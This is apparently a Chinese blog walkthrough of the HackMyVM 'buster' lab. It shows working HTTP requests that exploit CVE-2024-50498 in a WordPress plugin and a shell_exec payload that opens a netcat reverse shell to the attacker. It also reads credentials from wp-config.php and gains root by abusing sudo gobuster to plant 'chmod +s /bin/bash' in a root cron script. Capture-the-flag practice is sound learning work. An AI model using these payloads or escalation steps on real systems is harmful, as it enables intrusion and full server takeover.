HackMyVm-buster

前言

因为是第一个打的渗透靶场,遂把搭建过程也写了一下, 内容可能不是很详细。操作系统是macOS M3。

靶场搭建

大部分靶场是x86架构的,而mac M系列是arm64架构的,本机或者虚拟机虚拟化是跑不出的,所以就需要找东西模拟x86的架构。这里用的是virtual box。官网上下载好virtual box后,在终端输入以下命令开启x86虚拟化:

VBoxManage setextradata global "VBoxInternal2/EnableX86OnArm" 1

​具体可参考官方文档

靶场下载:https://hackmyvm.eu/machines/machine.php?vm=buster

解压如下图:

打开virtual box,选择导入,将buster下的.ovf文件导入进去,然后启动就好。

界面是这样,就可以拿kali日了。

提权

先放kali扫一下找找ip

用nmap扫一下靶机ip

发现80端口和22端口开放,访问一下,是个wordpress页面。用wpscan扫扫插件看看有没有可以利用的漏洞

wpscan --url http://192.168.137.113 -e u,ap --plugins-detection aggressive

token可以直接去wpscan官网注册获得。

但是我的机子并没有扫出来什么,不知道问题在哪,算了先不管了,到时候交给web手扫去。

[2025.03.11更新,电脑挂着wpscan出去吃了个饭发现扫出来了,不过用了七个小时。。。可能是电脑性能的问题?结果如下图]

最后知道有漏洞的插件是wp-query-console,可以用CVE-2024-50498 。去GitHub上扒拉一下就出来了。

POST /wp-json/wqc/v1/query HTTP/1.1
Host: kubernetes.docker.internal
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://kubernetes.docker.internal/wp-admin/admin.php?page=wp-query-console
Content-Type: application/json
Content-Length: 45
Origin: http://kubernetes.docker.internal
Connection: keep-alive
Priority: u=0

{"queryArgs":"phpinfo();","queryType":"post"}

对照着这个改改,把content-type改成json,最后整体是这样:

POST /wp-json/wqc/v1/query HTTP/1.1
Host: 192.168.191.162
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/json
Content-Length: 45

{"queryArgs":"phpinfo();","queryType":"post"}

send过去后,在response里看到disable_functions里的禁用函数

disable_functions</td><td class="v">passthru,exec,system,popen,chroot,scandir,chgrp,chown,escapesh</td>

去问ai其他函数,找到能用的就行,这里找到了shell_exec()

POST /wp-json/wqc/v1/query HTTP/1.1
Host: 192.168.137.113
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/json
Content-Length: 84

{"queryArgs":"shell_exec('nc -e /bin/bash 192.168.137.75 7777')","queryType":"post"}

攻击机nc -lp 7777监听一下,然后把bp里的发过去(这里因为中间换了个wifi导致ip变了,113是靶机75是攻击机)。

cat /etc/passwd查看用户,发现一个root用户和一个叫welcome的普通用户。输入以下命令进入交互式终端。

/usr/bin/script -qc /bin/bash /dev/null

cat wp-config.php查看数据库信息,得到数据库账号密码,登陆进去看看。

找到用户名和加密后的密码,爆破一下。

最后得到密码104567,输入su – welcome登录上welcome用户。(或者直接ssh也行)

输入sudo -l ,发现  (ALL) NOPASSWD: /usr/bin/gobuster  ,也就是说/usr/bin/gobuster不需要使用密码就能sudo。

看别的打的有个思路,虽然不适用这题,也在这儿提一下:

可以将/root/root.txt 文件指定为字典,在kali上用python -m http.server 起一个http服务,然后执行以下第一行命令。

$  sudo gobuster -u "http://192.168.137.112:8080" -w /root/root.txt
< -u "http://192.168.137.112:8080" -w /root/root.txt
2025/03/11 11:49:16 [!] 1 error occurred:
        * Wordlist (-w): File does not exist: /root/root.txt
< -u "http://192.168.137.112:8080" -w /root/root.txt
2025/03/11 11:49:22 [!] 1 error occurred:
        * Wordlist (-w): File does not exist: /root/root.txt

​发现报错说不存在文件,也就是root的flag不是root.txt ,那很坏了

看看pspy,在kali放pspy64的位置开一个hppt.server,拿靶机去wget,靶机下完pspy64后给权限运行。

发现root用户定时执行 /opt/.test.sh ,可以用python起一个htpp服务器然后在里面依次放入bin chmod +s  bin bash文件夹以及文件然后创建一个字典文件里面只写bin/chmod +s /bin/bash

然后执行sudo /usr/bin/gobuster -u http://192.168.56.103:8000/ -w /home/welcome/1 -o res

cat res 之后得到我们想要的东西。

把它加入到/opt/.test.sh中即可:sudo /usr/bin/gobuster -u "http://192.168.56.103:8000/" -w /home/welcome/1 -o /opt/.test.sh -n

之后执行 bash -p就是root权限了

至此提权成功。

碎碎念

本来想打vulnhub靶场入门的,但是那玩意的网卡是在调不出来,跟着网上的教程调了好多天,怒罢。buster这个靶场打的时候也没有找到很全面的适合新手的教程,遂自己边搜边打,断断续续打了一天。(密码的要不是ccb突然发赛制说有半天的ISW谁直接打靶场速通啊)

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇